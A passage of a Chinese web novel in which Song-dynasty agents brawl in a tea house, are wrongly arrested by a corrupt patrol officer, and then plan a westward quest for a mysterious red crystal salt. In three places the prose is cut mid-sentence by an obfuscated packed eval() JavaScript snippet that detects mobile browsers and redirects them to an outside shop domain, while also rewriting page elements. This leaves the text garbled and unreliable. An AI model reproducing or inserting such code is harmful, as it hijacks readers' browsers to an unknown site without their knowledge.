魏无功回头,心想他们几个今天怎么这么寸?板儿牙带着不三不四的人来后头看货,工坊这么多人,偏他们几个做贼的被他一眼瞧见。 那板儿牙自从鬼市一遭之后就再也没盼来两位军爷,心里正惦记,此时遇见喜不自胜,想也没想就喊了一声,跟在他身边的两个伙计立即警觉了起来。 “走走走,赶紧的,”魏无功在后头催,阿尔斯兰的手刚摸上窗框,就“啊!”地叫了一声。一个烹茶的师傅用筛茶的竹筛兜了一匾兜烧得滚烫的茶砂,冲着他们的方向一甩,阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238501|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔斯兰被烫一哆嗦。 “有硬点子闯窑,都亮青子!(江湖黑话:有人来了抄家伙)”那个师傅喊了一声。 一个年轻的伙计立马行动,猴儿一样蹿上捣茶用的大木头杆子,将另一头的重石对着阿尔斯兰脑袋方向甩过去,三人只得蹲下身子躲避。 “你大爷,”李在宥暗骂一声,大石头咣地砸向墙头,把通风口的扇叶子砸得稀碎,木屑墙灰落了他一身。他从兜里掏出瓷蒺藜,有点犹豫扔不扔。 “先冲出去,”魏无功按下他的手腕子,冲着板儿牙的方向扬了扬下巴:“到门口再回头扔。” 他顺手抽走了看守边上箍桶用的长刀递给李在宥,喊了声“跟好”,一马当先冲了出去。 前面的伙计们也不是吃素的,当下抄起家伙,对着三个人招呼。一个光膀子的汉子正端着滚水的铜壶,直接兜头浇过去,被魏无功滚地一躲。热水浇在地上,让那雾气更浓了。他回身从灶台下面烧柴火的地方抽出一根烧红了的铁钳,翻身迎上前头一个人劈下来的搅茶棍,竹铁相交,棍子顷刻间从中间断了。前面的板儿牙不明所以还在大声问话,魏无功听得心下烦躁,随手甩过去一个小石磨盘,看他王八一样栽倒,消失在了雾气里,顿时觉得很解气。 李在宥一路小心跟着魏无功,突然发现有几个工人站在凳子上去敲头顶的通风管,猜着他们可能是想在浓雾中用暗号报他们逃跑的点位,当即计上心头,从筐边抱了一摞茶砖,东扔一个西扔一个,打乱声音传递的路径。他身后被揍得鼻青脸肿的阿尔斯兰此刻也相当可靠,不知从哪儿掏出一个柴火棍儿,冲着半墙高刚蒸干的茶叶杵了进去,虽不至于烧起火来,但是未充分燃烧的黑烟也是不错的遮挡,一时间火光、蒸汽、黑烟和茶香味儿搅作一团,云里雾里,恍恍惚惚,谁也分不清楚。 近身打斗,没有人是魏无功的对手,眼见着摸到靠近前头茶栈的门,李在宥不再犹豫,抽出引线,转身把瓷蒺藜用力扔出去。 瓷蒺藜在蒸茶房爆炸开来,发出一声巨响,吓得工坊里的人四散逃开。 “你,找风子喊翅子顶罗,快!(江湖黑话:找个通风报信的人去请当官的)”炒茶师傅是老江湖,从爆炸的震动中回过神来,看他们跑远了,知晓今天这事儿凭他们几个喽啰摆不平,从身边抓了一个腿脚快的小伙子去找人通知县里巡逻的巡检。 “你先跑!”李在宥猛地从昏暗的茶坊冲出来到阳光下,望着前面不到五尺的二层茶栈主楼,眼睛有些睁不开。他从后头推了一把阿尔斯兰:“回山上去!” “不行不行,”阿尔斯兰拨浪鼓似的摇头:“公主夫人的东西丢了,我不能走”。形势危急,来不及多问,魏无功看着后面追出来的一溜儿人马,一手抓了一个,带他们往茶栈里面走,想着先和大堂的姑娘们汇合。 刚进茶栈后门,二楼跳下来几个大汉,给李在宥吓一跳。打头两个金人打扮的对着他们抽刀就是砍,阿尔斯兰绕着梁柱子边蹿边喊:“就是他,就是他!书!夫人的书!” 虽然听不懂阿尔斯兰叽里呱啦在喊什么,两人也大概明白是有什么重要的东西叫这两个金人拿走了,当即过起了招。 “你解决那个络腮胡,这个蛮瓜脸归我。”李在宥感觉那个瘦子好像好对付一点,抢先挑了,把麻烦留给旁边厉害的人,毕竟能者多劳嘛。 魏无功听他起的外号有点想乐,觉得时机不对又憋回去了。又高又瘦的那个金人面色蜡黄留着两撇小胡子,确实很像晒干的蛮瓜,另一个胖点儿的须髭浓密,体格相当壮实。魏无功跟他搭手,感觉在劈木桩子。他余光看旁边的阿尔斯兰也去斗蛮瓜脸去了,猜着可能赵元贞要的东西揣在瘦子身上。 一楼的伙计们被紫苑姐妹俩收拾的也差不多了,小豆饼在背篓里边骂人边加油助威,此刻看到李在宥他们被金人堵住去路,连忙喊她的杏儿姐姐去帮忙。 青杏刚腾出手,抬头看见二楼的钱掌柜挪着肥屁股想要找地方躲,想了一下,把自己身上那个瓷蒺藜也扔了出去。这种人留着浪费粮食,不如顺手解决了。 第二个瓷蒺藜“嘭”地炸开,连带着二楼的地板、栏杆、扶梯一起炸碎,“哐——”一下砸了下来,一楼缠斗的人连忙朝着大堂两边分开躲避。只见得钱掌柜和木头片子一起落在地上,满脸是血、屁股朝上,一动不动大概是死了。 “好!”小豆饼在后面欢呼:“杏儿姐姐先打那个瘦狗!”小朋友脑子灵活,一下子就看出来两个金人孰轻孰重。青杏一点头,一个箭步冲着蛮瓜脸去了。 几个人从一楼大堂打到二楼的断壁残垣处,蛮瓜脸被逼到墙角,见势不好,用金话跟络腮胡简单地交流了两句,决定弃车保帅。他站在炸塌了的墙边上,将兜里的一本小册子掏了出来,非常不舍得地最后看了一眼,咬牙说句“还给你们,”脱手扔了出去,人也顺势跳出茶栈。 李在宥抬手接住。本来打算追,匆匆扫了眼书封,几个粟特文跳进他眼眶子,便停住了脚。 正在他凝神的时候,突然听到外面一阵儿锣鼓声敲得邦邦响。 他抬起头往下看去,原本追着金人出去的魏无功他们站在门口的晒场,被一群弓兵团团围住,木弓拉了满弦,箭矢尖尖头怼着他们的脸,而两个金人此时早已不见了踪迹。一个巡检模样的男子拿着个鸣锣在魏无功耳朵边上一顿敲,看后脑勺都知道他家魏大人此时压着十二分的火气。 李在宥用了两秒思考了一下前因后果,合上书页,站在半截儿楼梯上说了声: “哦豁……” 43.真龙强压地头蛇 李在宥有点后悔自己那个瓷蒺藜扔出去,搞出了太大的动静。 他想少了。那钱掌柜生意能做这么大,在众人眼皮子底下和金人勾搭,官府不可能不知情,大概率是在地方上有人罩着。这会儿明摆着金人跑了,他们几个却被围住,巡检司是哪边儿的一目了然。 李在宥在出去“伏法”之前,匆匆摸了一张五百文的交子,背着手挂在木鸢脖子上放了一只回去。 “咣!咣!咣!” 鸣锣开道的士兵恨不得把锣敲碎,尽管李在宥早就收了手,兵器也放地上了,一边的钟巡检还是不满意,嫌李在宥腿脚慢,非要再给他下个马威。 看他闭着眼睛抵御超大噪音,钟巡检在马上得意地清了清嗓子:“咳咳!奉令缉拿闹事者!你们几个老实跪好!” 李在宥掏出他“宣抚使司干办公事”的腰牌,试图讲道理说他们是来茶庄查案的。没想到钟巡抚看都不看,直接给了个无法反驳的理由,指着阿尔斯兰说:“你说你来查这里有金人探子,我又不是瞎子,明明就是你们和回鹘人先搅不清楚。” “绑上带回去!”钟巡抚不信有什么朝廷要员会亲自带着道姑和娃娃到处跑,直接对着手下下了令。 几个人互相看了看,李在宥轻轻摇摇头,示意不要轻举妄动,毕竟是官差。魏无功看着一个个弓兵把他们的手腕子绑好穿成一串,小声对李在宥嘟囔:“这下好了,屁股要开花咯。” “可不是,”李在宥叹了口气:“我赌一贯,你的屁股先开花。” “豆饼,别怕,”紫苑的手绑在青杏后面,看她背上的豆饼在哆嗦,小声说:“就是去军寨里问个话,他们是官差,我们也是官差,当着知州的面儿解释清楚就好了,没事的。” 然而紫苑这话说得不准。按《宋刑统》例,巡检司只能拿人却不能拷问,审讯要移交州府,只是这钟巡检实在是猖狂,仗着自己和齐知州沾点儿亲戚,气焰十分嚣张,说什么也要先拖他们去军寨来一顿“杀威棒”。 只不过挑人挨打的时候,他心里还是忌惮,虽说他不信李在宥的身份,但是敢把自己头衔编这么大的,不是疯子可能也有些来头。于是他想了想,打算先拖个姑子,毕竟蚕姑坨就在自己地盘上。 “靠,不是吧!”被按着跪在巡检司军寨里的魏无功愣了,正常人不是应该先挑他吗,这要是打了那姐儿俩,他怎么跟玄清子交代。 “狗东西,你要不要脸!”他试图激怒钟巡检,把他的气挪到自己头上来:“打女人算什么东西?” “哼,”钟巡检冷哼一声,心想那些仁义道德都是骗小孩子家家的玩意儿,在边境想要混得好,就得比寻常人家心更狠些才行:“小哥儿,你少拿这种话激我,我浑起来,连小孩子都打。” 他边说,边故意伸手去碰青杏背后的筐子,青杏性子倔,当即就想起身,被两边的弓兵齐齐按住不能动弹。小豆饼虽然聪明,毕竟也就是个九岁的小娃娃,被他这一闹,吓得把官话也给忘了,下意识就骂:“诺海特没!诺海特没!” 钟巡检正要捏她脸,被她这一喊,手停在半空中: “怎么还有契丹人?” “老子杀人半路捡的。”魏无功盯着他说。 钟巡检看了他一眼,突然有点不敢逞这个强:一个来历不明的官人,一个看上去当过兵的汉子,两个会武功的道姑,带一个回鹘人一个契丹娃娃,这配置,怎么看都不对劲,别搞不好真是执行什么特殊任务的吧。 他定了定神,觉得这事儿还是得跟他舅老爷齐知州说一声,于是敛了神色,挥了挥手,示意手下还是先把人关起来,听候州府发落。 没想到,还没等他去找舅老爷,舅老爷倒是先快马加鞭地来找他来了。 “小王八羔子!”齐知州都没来得及让人通报就带着一群府兵冲了进来,抄起手杖对着他就是一顿棒挥:“你是吃了屎疯了敢找贵人的麻烦!” “赶紧给贵人磕头!” “这……”钟巡检一边躲着棍棒,一边捂着头往后看——只见军寨门口,八人抬着的轿子放下,一位衣着简素的贵人施施然走出来,不是别人,正是赵元贞。 “真好,”李在宥啧了一声,跟魏无功说:“你的屁股保住了。” 山上,赵元贞接到李在宥的木鸟,拿着那张破了的交子颠倒看了半天。这张钱币取“破财消灾”之意,能知道他们是出了事情,却想不明白人在哪里。 “什么东西,是五百文……”她想着,李在宥特意挑这个面额肯定有他的道理。一边的沈仓沉吟了一会儿,突然一拍脑袋,说:“这是巡检拿一个盗贼的价钱!” 一语点醒梦中人,知道他们是让地头蛇给绊住了。赵元贞立刻起身,带上牌子印章,奔着知州府去搬救兵去了。 随着钟巡抚扑通一声跪下,这事儿算是有了了结。 齐知州想替自己的大外甥求个情。但是这次的赵元贞没有那么好说话了。 “你们办案糊涂一时打错了人,我不在乎,”赵元贞此刻站在一帮兵痞中间,声音不大,却不怒自威:“但是袒护细作,放跑了金人,有几个脑袋都不够掉的。”言下之意就是这个钟巡检必须死。 钟巡检磕头如捣蒜,涕泗横流泣不成声,齐知州也跟着跪在地上,但是赵元贞丝毫不为所动,连眼神都没有给他们一个。 齐知州拿袖子摸了一把老泪,低着头思考了一下,到底还是觉得自己的脑袋更重要一点。外甥、外甥,那终归还是外姓人嘛,该放手时需放手。他看着下人把哭抽过去的钟巡检拖走,话锋一转:“公主明鉴,钟巡检罪该万死,微臣绝不包庇这样的不忠不义之徒!” “嗯,”赵元贞点点头,恢复了平日和气的样子,看了一眼被解绑上座的李在宥他们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“魏大人今天真是锄强扶弱,神武非常啊,”李在宥不知道为什么,隐约察觉出魏大人的不爽,于是小心翼翼地哄着,想知道他这是怎么了:“明天跟我回一趟你老东家那里呗,我给你讲阿尔斯兰书里的事儿……” “你别以为我看不出来你那些小心思,”魏无功看了他一眼,轻声打断了他的话。他说:“我知道你们忙的都是大事情,我只有一条,一直想找机会跟你说的……” “什么心思……”李在宥站定了,等着他说。 “你惦记的那个偃芯,我会替你去要的,”魏无功看着李在宥的眼睛:“但是回山上之后,你别再拿张定钧的事儿招我师父,听到了没。” 哦,原来是为这事儿。 “……听到了,”李在宥有叹了口气,感觉自己一天天叹气都要叹老了:“两只耳朵都听到了!” 44.公主的野望 一番折腾,几个人到了山上,正好是晚饭点。 玄清子在山上接他们,听说他们把山脚下的茶庄一干宵小扬了还清理了巡检司的门户,也跟着高兴,说:“那真是为民除害了。”她提议先去殿里拜过水官,洗洗军寨的匪气,再移步泉塘边。 李在宥故意落后半拍走在后面,问赵元贞:“我折起来的那一页,你看完了?” “看完了。”赵元贞点点头。 除了他们,金人也在寻找西域红色晶盐的源头,把目光锁定在了老子和周王室的关系上: 那本粟特文的神话里,记载了老子入胡的传说,说他是为了找到穆天子的秘密,一路西行,寻找神灵最后的行踪。 “是不是到时间了?”李在宥又问。 赵元贞松开牵着小豆饼的手在他肩膀上拍了两下,小声说:“心急吃不了热豆腐,不差这一会儿的。” 一边的小豆饼冲他做了个鬼脸。李在宥还了她一个鬼脸,又跑回魏无功边上找他说话去了。 到了三官殿,殿内昏暗已经掌灯,灯火摇曳中的供案上,已经摆好了素斋。紫苑给每人发了三支香,领着他们给水官磕了个头。魏无功瞥见供桌后头,张定钧的灵位牌子都做好了,正在晾漆,轻轻叹了口气。 “诶,魏大人,”李在宥跪在垫子上,小声跟他说话:“借我抄几句吉利话呗?” “磕头的时候别说话,”魏无功半闭着眼睛,只拿余光看他:“心诚则灵。” “好吧……”看魏无功没有理他的意思,只好端正跪好,收敛了精神,郑重地磕了个头。就是想法太多,头磕完也没许好一个完整的愿望。 礼毕,众人沿着后山小道,走到一处人工修凿的水凼。水凼上依山泉,下游一路通到山下的大河,中间蓄的水,用来浇灌田园。塘边修了一座闲亭,偶尔住持等人会在这里下棋静心。几人到达泉水边的亭台的时候,塘里已经有零零星星几盏河灯漂在水面上了。 十五的圆月在天空大亮着,洒下清辉,照得山川人影纤毫毕现,不太依赖烛火。亭子上,糯米饭、素果、红糖糍粑等都摆好了,尤其是糍粑,还冒着腾腾热气。小豆饼看见糍粑很兴奋,这东西她在草原吃不到。不过她已经不会再像以前那样伸手去抓,而是眼巴巴等着紫苑给她发碗筷。 “豆饼,你这捏筷子的姿势,是不是真人教的?”李在宥拉了魏无功,坐在她边上,依旧是对玄清子极尽谄媚之能事:“规矩多了。” “是无功哥哥教的,”小豆饼说:“军营里放饭稀糊糊一大坨,拿手抓不起来,只能用筷子了。” 玄清子闻言,看着魏无功,有点想问问他下山之后的生活,但是两人太久没见面,她又不知道怎么开口。 赵元贞眼睛划过桌面,也入了座,说:“小魏啊,快跟我们说说军营的事儿,金人来了之后的事儿我们还都不知道呢。” “无功哥哥快讲,我也要听!”小豆饼夹了一筷子糍粑到魏无功碗里“行贿”,对于自己父母的敌人分外感兴趣:“你杀了几个金狗?” 魏无功当着一群人的面说话照例是有点拘谨,但是好在桌上大多是会接话的人,顺着他一唱一和,气氛倒也愉快。玄清子听他说话,很少开口,但是听得很认真。 赵元贞看着气氛差不多了,拐回了正题: “你们记不记得,我当时在地牢里,问过你们那个问题:这世界上究竟有没有神仙?” 她眼睛盯着水面。 一顿饭过半,道观里的道姑们也差不多都空下来了,塘里的河灯数量明显变多。看着四方的河灯一个个顺着水势蜿蜒而下,逐渐形成条带状,像一条莹莹闪烁的水龙王,那些火烛的光线,此时也在她眼中跳跃。 “蚕姑延缓了自己的寿命,虽然没有长生,但是已经倍数优于当时之人,”赵元贞缓缓开口:“如果给她足够的时间,她会不会已经成功找到仙人了?” “若有,也是凡人触不到的天阙,”玄清子回答,并不看她,眼睛也是盯着水面:“不管是她还是张将军,最终都是功败垂成,或许成仙之路,最终都会是泡沫幻影。” “可是,我总感觉,他们差的那一步,并不遥远了,”赵元贞转过脸来,看了一眼众人,说出了她的想法:“这一年来的诸多所见,让我愈发笃信,似乎只有接近某个西边的源头,才能发挥红色晶盐真正的力量。我们缺的,或许不是‘仙缘’,而是‘手腕’。” “我和在宥这大半年,将西域诸作又翻了个遍。”赵元贞手指无意识地轻轻敲击着桌面,陷入思考的心流:“我们分析,穆王大概率是有记载最后一个见到神明的人,后世汉武帝见西王母的故事感觉更像是模仿穆王的穿凿附会,秦始皇那就更是不得其法。而在始皇帝之后,关于皇室大规模的求仙问道记录就变少了。” “所以……”玄清子皱着眉头,隐约猜到她要说的话。 “所以,有什么与仙人相关的秘密,在穆天子之后中断了。”赵元贞顿了顿,说:“有一个人也发现了这里不大对劲,一路追着穆王去了西域,不是别人,正是云昭阁的祖师爷老子。 他暮年之时西出函谷关,‘莫知其所终’。然而,我们的书没有记载,不代表胡人的书也没有记载——”她将阿尔斯兰搜寻到的粟特经本简单给众人讲了一下,说: “这本胡经,说‘老子入夷狄为浮屠’,在号称‘群玉之山’的于阗国教化万民,施洒‘血引’,传授神意,而这个血引,极有可能就是那种红色晶盐。” “血引……是哪两个字?”沈仓问:“是我理解的以血液为引子的意思吗?” “是这两个字,”赵元贞点点头,“但我不确定它说的是‘用血做引子’,还是‘引出血中的某种东西’,亦或是‘把某些不太好的东西给引走’。” “我之前说过,关于它,不同地域叫法不同,中原称为魔鬼丹,取其邪性以为提醒;女贞人喊它英雄盐,取其力量和制形之意;契丹人随着回鹘人叫光明血,侧重其神力和颜色,这些叫法都盯着‘结果’——而这本更古老的粟特故事里的‘血引’,‘引’用得格外考究,像是在描述‘过程’——这就很有意思了……” “引”始见于商,字形取弯弓放矢之相,既能表示牵引、延长,又同时带有收敛、退避之意,这些千年前的人,对红色晶盐的理解,似乎又上了一层,不可捉摸,玄而又玄。 她看了眼李在宥,说:“他之前猜测那东西有更古老的过去,看来是猜对了。如果这几件事之间有联系,那么至少春秋以前有一部分人就知晓了它的存在——这个故事也让我们有了一个真实的目的地。” 她的声调不高,但是语气不容置喙: “我和在宥决定去西域,去重走老子走过的路。” “什么?!”沈仓一个震惊,忍不住拿起书,翻了两页,又放下,不知道该从哪儿劝起。魏无功也猛地看向李在宥,满眼都是“你疯了吗”的疑问。他不敢明着忤逆公主的意思,只一个劲儿小声问李在宥:“就凭着一个不知道哪年哪月的胡人故事,就决定往西了?你这小身板够铁鹞子吃几顿的?” “我们也不是一时兴起……今天你也看到了,都知道红色晶盐有改变时局的力量,金人也在找故事,”李在宥心里有事儿不敢看他,低着头抠桌布,说:“不光金人,连更北边的蒙蛮子都在偷偷潜使西渡。” “有些好奇心是压不住的:无论故事真实与否,我和李在宥都会去西域,去找找这股力量的源头。”赵元贞把话头接了过去:“这趟去,也不是什么‘求仙’,而是‘求存’。”山间的秋风吹过来,将她的声音吹得缥缈:“论反应速度,云昭阁在易州三军对垒的时候已经输了第一轮儿,不能再输了第二轮儿——我不可能坐等着大宋的敌人先掌握这个力量,更不接受这个最终的秘密落在云昭阁以外的人手上。” “可是……”沈仓深知此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280416|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行于华夏有益,但是他也同样深知这中间有多少难关要过:“西夏铁鹞子铁板一块,我们当兵的连地图都没有一块,您万金之躯,又怎么能如此涉险呢?” “……所以说,”李在宥很心虚地瞥一眼魏无功,眼睛转向赵元贞,疯狂暗示:“我们还是想要找个厉害的帮手的……” 赵元贞立马会意,清清嗓子笑笑,从怀里掏出一块玉牌,双手握着:“正是因为道阻且长,所以我们也要吸纳有本事的新人嘛!” “——魏无功,”她头一次喊了小魏的全名,郑重地说: “今天我作为云昭阁主人,当着真人和沈大哥两位长辈的面儿,我认真问你,你认真答: 你想不想加入云昭阁?” 魏无功一听这话,瞬间激灵。 他看了眼一旁的李在宥,李在宥绷着个脸盯着桌上的素斋,暗暗捏紧了筷子。 “光明血的事情始末,一直有你参与,我们希望你和我们同去,但是这一路艰险,沈大哥刚也说了,连地图都没有,我自然不能坑你,因此要两位家长也在场的时候问你,” 她温和地冲魏无功笑笑:“你也不必立即回答我,你可以回去想想,和真人、和沈大哥商量商量,当然咯,你也可以拒……” “我去。” 魏无功没等她说完,就答应了。 一边的李在宥听得他的答应,筷子一松笑眯了眼。一只手已经伸过去准备搂他肩膀了,忽然想起来席间长辈在场可能不太庄重,于是改成捏着他的肩头使劲晃了晃:“就知道你会答应!” 魏无功感觉自己要被他摇散了,笑着说:“不答应也没办法了,你们都把故事编到一千年以前去了。” 赵元贞望着两个人,唇角勾起,对着魏无功轻轻点了点头。“有了小魏,这一路自然是更有把握,”她到底还是老成,留了条退路:“不过,性命攸关的事情,不逞一时口舌,三天之后,同样的话我再问你一遍,那时候答应了,可就再不能反悔了。” 魏无功很用力地“嗯”了一声,表示自己会认真想好的。一边啃糍粑的沈仓也很高兴,想着他以后不在军中,魏无功也算是有了云昭阁的靠山。他并不完全清楚云昭阁的那些破规矩,只当无功将来是去吃皇粮了,于是端起茶杯以茶代酒: “公主肯收你,是你的造化!以后好好跟着云昭阁办差,西行虽苦,总要强过在边军刀头舔血!” 众人举起杯子,欢迎这位云昭阁的新人。玄清子没有说话,只是附和着众人欢乐的气氛,也将自己的杯子举起来了。早年她自己负气把魏无功赶下山去,知道自己没有立场阻拦,对云昭阁那份秘而不宣的戒备,此刻化作喉间一口冷掉的山茶,艰涩地咽了。 “居士们身先士卒,为国分忧,贫道感佩。”玄清子没有转头去看魏无功,只是垂着眼轻声问了句:“我虽在山中,也听闻西夏边境针扎不进、水泼不进,你们西行的门路可有了?” “回真人的话,有了,”李在宥正准备跟魏无功和小豆饼离席去放灯,听她这一说连忙端正做好,说:“有位叫梁阿兰的西夏藩将,给了我们一个钉子的联系方式……” 他欲解释,但是玄清子并不是很在意其中的细节,说:“有门路就好,你们自己当心。”她挤出个微笑,对众人说:“紫苑准备了河灯,居士们要是有兴致,可以一会儿去塘边玩玩,天气冷,莫要着凉。”,说完,找了个观里有事的借口,先告辞了。 李在宥见她走了,也不再矜持,拉了魏无功和小豆饼就要去点花灯。 “你先去,我去看看我师父,”魏无功望着玄清子离开的方向,皱了皱眉头:“我一会儿就来。” “好吧……”李在宥感觉有点扫兴,但是也知道玄清子有话要单独交代魏无功,于是说:“那你快点儿的,我等你一起放,给你留盏大的。” “好,”魏无功笑笑,冲他和小豆饼挥挥手,小跑着去追玄清子了 。 45.云昭阁的新人 魏无功一路追到三官殿,在殿外看着烛火中玄清子的背影,发现她比小时候印象中的老了很多。 小时候觉得玄清子雷厉风行,和寻常人家的妇人相去甚远,是不可战胜的,如今却看到了从没见过的一面,有自己的落寞和言不由衷。 他放缓了步子,进门的时候叩了叩门框。 “还学会敲门了,”玄清子笑着低声说了一句,并未回头,挑了一个蒲团坐下,顺手扔了一个在旁边,拍拍另一个蒲团,示意魏无功坐过去。 “师父,您在亭子里,有话跟我讲。”魏无功坐下去,只敢低头看着地板。 “你现在长大了,有了主意,我本来也不该说什么,”玄清子小声叹了口气:“公主也说了再给你三天,你好好想想,想好了再回她的话。” “谢谢师父,我已经想好了。”魏无功笑笑。 玄清子看了他一眼,想说不要逞少年心性,但是看他的神色,也知道他不会改主意了。 两人就这么肩并肩坐着,沉默了一会儿。魏无功看着张定钧的灵位牌发呆,玄清子顺着他的目光,伸手摸了一把,手指搓了搓,感觉漆差不多干透了,于是将它拿下来,放在手边。 她突然问魏无功:“你就没想过,下山之后娶个媳妇儿成个家吗?” “……想过,”魏无功被个问题问得有点不好意思:“但是……可能不是一本正经那种想,就是……模模糊糊大面儿上想的。” “唉,我可能问早了,”玄清子自己也觉得这个问题问得有点突兀,自嘲笑笑:“兴许过两年问你合适些。” “那这往西一去,又耽误上好几年,”玄清子纠结了一下,还是抬起手摸了摸他的头:“沈仓以后也不知道在哪里,能不能帮你说个好人家。” 魏无功嘿嘿笑了两声,顺手摸了摸鼻子,没敢接这个话。玄清子估计不知道,真去了云昭阁他的老婆本儿就充公了。 “师父,那个偃芯……”他本来看着时机好,想提一嘴,没想到玄清子一口就给否了。 “我不能给你。”玄清子说:“我不信任云昭阁。” 她想起那本《越人逸史》,又有些愁,想着魏无功大字不识一个,将来该怎么好呢?她不知道应该怎么去跟魏无功说她对云昭阁的疑虑,毕竟魏无功现在明显跟云昭阁更亲近,只是……人还没进云昭阁,就开始替李在宥要东西…… 她把手放到魏无功膝头,皱着眉头问他:“那个李在宥……知道你多少根底?” “可能差不多都知道一些,”魏无功说,把自己和他们相识的经过大致讲了一下。 “那你呢,你又知道他们多少根底?”听他说完,玄清子反问他:“那个李在宥,朝中是什么身份,故乡何在,父母何人?” “……”魏无功答不上来了。目前他和沈仓只知道赵元贞是公主,是哪一房的公主也不知道,更不提一直身份变来变去的李在宥了。 “不是的师父,”魏无功轻声辩解:“要是没有他们俩,我和沈团练都活不下来。” “我没有要拦着你的意思,”玄清子说:“你有你的坚持,这我也拦不住,我只想你多留个心眼。” “我跟赵元贞,书信来往差不多又六七年了吧,她笔力苍劲,像个男子,但是她从来没有主动跟我提自己是女人这件事,所以她第一次来蚕姑坨的时候,我很是惊讶,”玄清子很久没有说这么长的话,因此每个字说得都很慢:“我举这个例子,不是让你和他们离心离德,是想跟你说,依云昭阁的性子,不会跟你说假话,可是真话有时候也只说一半,你不能被他们带偏了。” 玄清子一脸担心地看着他:“张将军的事情我且不论里面几分真几分假,单说你的事儿——既然以后认了老子当祖师爷,也该知道‘贵以身为天下,若可寄天下’的道理。一个人若是连自己的生命都不在乎,更不会在乎其他人的生命。” “你可不能跟他们一样,只看云上面的东西,要仔细走的每一步路,记住了吗?” “好,我记住了。”魏无功郑重地承诺。虽然他不是很喜欢玄清子背后说云昭阁的这番话,但是她这番叮咛,总是善意的。 两人难得和平相处,安静说了一会儿话,玄清子就放他去找李在宥放灯去了。“既然和小居士有约在先,那就先去吧。”玄清子说:“后面西行一路的物资采买,有蚕姑坨能出力的,你且来同我说。” 魏无功点了个头,出了殿门。玄清子给水官又添了三炷香,后脚正要出去回寝居的时候,看到魏无功手里拿了个东西又折返回来了。 “师父,这个给你,我洗干净了。”魏无功跑着过来的,呼吸有点重。玄清子接过,发现是张定钧漆棺里的玉覆面。 她突然眼睛就蒙了一层雾,说:“我还以为……” “以为我拿去卖了是吧,”魏无功嘿嘿一笑。 “唉……”玄清子小心擦拭了一下眼角,问:“你这孩子怎么记吃不记打,这该怎么好……” “这有什么不好的,”魏无功摸摸鼻子说:“等我回来,蚕姑坨还能给我留一个打坐的蒲团,多好!”说完,便一溜烟儿跑了,到底还是有些不好意思。 玄清子望着他小跑的背影,一时间感慨万千。她虽不是魏无功的母亲,但也算喂过饭的,多少有些类似的心态。小时候恨铁不成钢,嫌他不走正道,长大了真看着他成人了、懂事了,又怕他出去吃亏受委屈。她低头摩挲了一下玉片串成的覆面,想来二十多年过去,那个不谙世事、盛气凌人的女匠,经过时光软化,多少长了些慈悲心。 她退出三官殿,关门落锁,朝着和魏无功相反的方向去了。 魏无功回到塘边的时候,李在宥正在不耐烦地来回踱步。赵元贞和沈仓都带豆饼回去睡觉了,就他魏无功还没过来,十五的夜风一吹,人都要冻透了。 “我错了!”还没等他发难,魏无功立马滑跪,给李在宥一口火堵在嗓子眼出不来。 李在宥瞪他,魏无功“嘿嘿嘿”了好几声挪到他身边,问:“我灯呢?” 李在宥没好气儿地递给他一个大花灯,说:“豆饼都玩腻了,我还没放呢!” “多谢李大人——”魏无功跟玄清子说完话心情正好,拖腔带调地回了句。“来来来,咱这就点火。”他把折着的花灯展开,在中间放了一小块蜡烛,就着河边放着的火盆点了。 两人蹲在地上,看花灯的纸罩子被热气一点点吹得鼓起。魏无功把花灯轻轻放到水面,这会儿风有点儿急,一落到水上,那花灯就迅速随着流水往前踉跄着窜了出去。 李在宥立马欠起身,看里面的烛火剧烈摇晃了一下,生怕风刮猛了,蜡烛把纸罩子点了。等了一小会儿,看花灯好像没什么事儿,才又蹲了下去。 “好像……有点儿寂寥,”李在宥说。这会儿大部队的花灯已经顺着水流漂远了,水面上就剩几个稀稀拉拉的光点,他们最后一个巨大的灯,孤零零漂在一片空旷的水域。“魏大人说几句吉利话呗?说好了有赏~” “有什么赏……”魏无功也呆呆地盯着他们那个寂寞的花灯:“我字儿都不认识几个,哪儿来的吉利话。” “啧,为了赏银努力一下嘛魏大人,”李在宥腿蹲麻了,换到岸边石矶上坐着,两腿交叠,一脸玩味看着他。 “行吧,”魏无功回了句,不 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“绳子算我的吧,”李在宥看了他一眼说:“按理说长生锁该用个金挂绳,但是想你以后东奔西颠,行路打架都不方便,所以给你配了个结实的皮绳。” “啧,到你这儿就寒碜了,净盼着我出力气,”魏无功啧了一声,轻轻扯了扯,感觉弹性很好,说:“不过搭配着还挺好看。” 他把金锁挂在脖子上,拿外衣遮盖住,说:“天晚了,回去睡觉吧,后面是不是该买去西边的东西了?” “嗯呐,”李在宥跟在他后面,一前一后出了亭子,随口答应了一句:“要买的可多了呢……” 